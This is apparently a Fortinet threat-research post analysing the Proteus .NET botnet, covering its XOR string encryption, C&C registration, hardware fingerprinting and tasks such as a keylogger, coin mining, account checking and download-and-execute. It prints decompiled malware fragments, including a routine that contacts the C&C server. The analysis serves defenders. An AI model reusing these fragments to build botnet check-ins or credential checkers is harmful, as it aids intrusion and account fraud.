A New All-in-One Botnet: Proteus

fortinet.com/blog/threat-research/a-new-all-in-one-botnet-proteus.html

November 28, 2016

```
public static string DecryptFromHex(string hexString)
{
    string text = "";
    string text2 = "";
    string[] array = hexString.Replace("\\\\x", "\\").Replace("\\x", "\\").Split(new char[]
    {
        '\\'
    });
    int num = (array.Length - 1) / 2;
    for (int i = 0; i < array.Length; i++)
    {
        if (!(array[i] == ""))
        {
            if (i <= num)
            {
                text += ((char)(Convert.ToInt32(array[i], 16) ^ num)).ToString();
            }
            else
            {
                text2 += ((char)(Convert.ToInt32(array[i], 16) ^ (int)text.get_Chars(i - num - 1))).ToString();
            }
        }
    }
    return text2;
}
```

Threat Research

By Donna Wang and Jacob (Kuan Long) Leong | November 28, 2016

Introduction

The ART team at Fortinet has discovered a new malware named Proteus, a multifunctional botnet written in .NET that appears to be a proxy, coin miner, e-commerce merchant account checker, and keylogger. This particular botnet is downloaded by the Andromeda botnet. The handful of malicious features densely packed in this new malware also includes the ability to drop other malware. We have compiled its main features in this brief analysis.

Data Encryption

All C&C communication is encrypted with a symmetrical algorithm. All strings used in this botnet are also encrypted using the same algorithm. Part of the encrypted *hostname* string is shown below:

```
private static string hostname = "\\x69\\x4A\\x77\\x74\\x60\\x60\\x79\\x73\\x51\\x75
```

Figure 1 Partial Encrypted Hostname

And the encrypted *hostname* is: http://prot{removed}twork.ml/ which is used as the C&C domain.

A simple decryption Algorithm is provided below:

```
public static string DecryptFromHex(string hexString)
{
    string text = "";
    string text2 = "";
    string[] array = hexString.Replace("\\\\x", "\\").Replace("\\x", "\\").Split(new char[]
    {
        '\\'
    });
    int num = (array.Length - 1) / 2;
    for (int i = 0; i < array.Length; i++)
    {
        if (!(array[i] == ""))
        {
            if (i <= num)
            {
                text += ((char)(Convert.ToInt32(array[i], 16) ^ num)).ToString();
            }
            else
            {
                text2 += ((char)(Convert.ToInt32(array[i], 16) ^ (int)text.get_Chars(i - num - 1))).ToString();
            }
        }
    }
    return text2;
}
```

Figure 2 Decryption Algorithm

Preparation

The sample arrives obfuscated, drops a copy of itself in the %AppData% folder as *chrome.exe*, and executes the copy. It then creates a hardcoded mutex to ensure there is only one instance of itself running.

```
private static string Mutex = "{EBC8D956-35C6-499D-B778-130A5DFA6195}";
```

Figure 3 Mutex Name

In order to register the botnet with the C&C server, it sends an initial registration message with several pieces of information regarding the infected machine. The packet for registering the bot takes the format as below:

```
{"m":"<Encrypted MachineName>", "o":"<Encrypted OperationSystem>", "v":"
<Encrypted BotVersion>"}
```

```
Http.RegisterBot(Program.Fingerprint, Program.MachineName, Program.OperatingSystem, Program.BotVersion);
```

Figure 4 Bot Registering Function

The fingerprint consists of the processor, BIOS and baseboard information of the infected machine, as shown below.

```
Fingerprint.fingerPrint = Fingerprint.FormatToGuid(Fingerprint.GetHash(string.Concat(new string[]
{
    "CPU >> ",
    Fingerprint.cpuId(),
    "\nBIOS >> ",
    Fingerprint.biosId(),
    "\nBASE >> ",
    Fingerprint.baseId()
})));
```

Figure 5 Generating Fingerprint

The bot comes with a hardcoded default fingerprint, as shown below. However, it appears that the default fingerprint is always overwritten by the above-mentioned newly generated fingerprint, which is a unique identifier for the infected machine. The fingerprint is included in the HTTP header in the *authorization* field.

```
public static string Fingerprint = "{2D592824-48DE-49F8-8F96-A4083904C794}";
```

Figure 6 Default Fingerprint

MachineName is retrieved by calling the Win32 API GetComputerName, OperatingSystem is the OS architecture x64 or x86. The BotVersion is obtained from the assembly version that the code is executing in:

```
XOR.EncryptToHex(botVersion)) + "}";
                 botVersion "2.0.0"
```

Figure 7 Bot version

The C&C server responses with an encrypted string that reads “successful.” Then the bot plays ping pong with the server to make sure it’s live in order to carry out the rest of its malicious actions.

```
public static bool Ping(string fingerprint)
{
    string response = "";
    try
    {
        ServicePointManager.set_Expect100Continue(false);
        using (WebClient webClient = new WebClient())
        {
            webClient.get_Headers().Add("Content-Type", "application/json");
            webClient.get_Headers().Add("authorization", fingerprint);
            response = webClient.DownloadString(Settings.Hostname + XOR.DecryptFromHex(Http.URLS[1]));
        }
    }
    catch (Exception arg_63_0)
    {
        if (arg_63_0.get_Message().Contains("(401)"))
        {
            Program.Registered = false;
        }
    }
    return Http.ReadResponse(response).Contains("pong");
}
```

Figure 8 Ping Pong

Features & Tasks

Proteus creates six threads for different tasks, as follows:

Task	***Description***
SocksTask	creates a socket and sets up port forwarding
MiningTask	appears to use SHA256 miner for mining digital currency *

EMiningTask	appears to use CPUMiner and ZCashMiner for mining digital currency *
CheckerTask	validates given accounts
CommandsTask	kills current process or downloads and executes an executable on request
LoggerTask	sets up keylogger

Table 1 Tasks and Descriptions

* *The bot verifies with the server during runtime to determine which miner to use for mining digital currency such as Bitcoin.*

```
MiningTask.mining = Http.CheckModule(Program.Fingerprint, EModuleType.SHA256Miner);
```

Figure 9 Check Module for MiningTask

```
bool flag = Http.CheckModule(Program.Fingerprint, EModuleType.CPUMiner);
bool flag2 = Http.CheckModule(Program.Fingerprint, EModuleType.ZCashMiner);
```

Figure 10 Check Modules for EMiningTask

For *SocksTask*, *MiningTask*, *EMiningTask* and *LoggerTask*, the bot first sends a CheckModule message by providing its program fingerprint and corresponding module name to the C&C server. The server then sends a command back to the bot, indicating whether or not the bot should proceed with the requested task.

For *CheckerTask*, the bot first requests an account from the C&C server. If the server replies with an account to the bot, the bot will proceed to check the given account on some well-known e-commerce websites including eBay, Amazon, and Netflix. Some of the websites are on German (.de) domains. Similarly, for *CommandsTask*, the bot first requests a command from the server and then executes the command if it is valid.

Conclusion

The Proteus botnet has a combination of features including coin miner, proxy server, keylogger, and many more. It is also capable of downloading and executing a file. All of this in one botnet may be even more harmful than one might first think, as it could download anything and execute it in the infected host. Our team will continue to monitor this botnet family and provide more information as it comes to light.

Sample Information

MD5: 49fd4020bf4d7bd23956ea892e6860e9

SHA256: d23b4a30f6b1f083ce86ef9d8ff434056865f6973f12cb075647d013906f51a2

Fortinet AV Detection: MSIL/Proteus.A!tr

Fortinet IPS Detection: Proteus.Botnet

--Advanced Research Team, Fortinet Canada

Related Posts